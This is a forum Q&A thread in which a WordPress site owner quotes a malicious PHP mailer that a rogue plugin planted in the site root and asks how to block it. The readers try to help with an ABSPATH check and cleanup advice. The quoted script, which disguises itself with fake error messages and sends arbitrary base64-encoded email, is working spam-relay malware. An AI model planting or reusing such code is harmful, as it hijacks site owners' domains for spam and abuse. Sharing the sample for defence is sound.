0

I want to add a security feature to my WordPress website to stop direct access to files added to the root of WordPress installation, recently I discovered that a malicious plugin added some files to send email. Below is the malicious php code added.

<?php

$method = $_SERVER['REQUEST_METHOD'];

switch ($method) {
  case 'GET':
    //Here Handle GET Request
    echo '###ERROR 404';
exit;
    break;
  case 'POST':
    //Here Handle POST Request

foreach($_POST as $key => $x_value) {

$data = base64_decode($x_value) ;
$to_data = explode('|',  $data);

$to = $to_data[0];
$x_subject = $to_data[1];
$x_body = $to_data[2];
$from_user = $to_data[3];
$from_email = $to_data[4];
$header = $to_data[5];

$jfnbrsjfq =  mail($to, $x_subject, $x_body, $header);
if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} 

}
}

In this case the hacker would pass some parameters to send emails using my domain while using this code.

I thought there might be a way to disable direct access of this files to send email or any other malicious activity. Is there a way to restrict using nginx? What is the best approach to deal with this case. I will appreciate any useful input.

1 Answer 1

0

Look into adding a constant check at the top of the script:

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

See: https://stackoverflow.com/questions/43212340/what-is-meant-by-if-defined-abspath

2
  • 2
    I don't think OP wrote the script though - it was put there by a hacker. So you'd have to prevent access by access control or server config not editing the script (which shouldn't be there anyway)
    – Rup
    Commented Dec 29, 2020 at 14:42
  • Thanks Rup, I overlooked that important detail. :-) kikuyu1, 1. change all of your passwords, from server access to WordPress, 2. Make sure that the file permissions on you site are a set to WordPress best practices, 3. Remove all malicious files, and look into doing a site scan.
    – deronimo
    Commented Dec 29, 2020 at 20:06

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.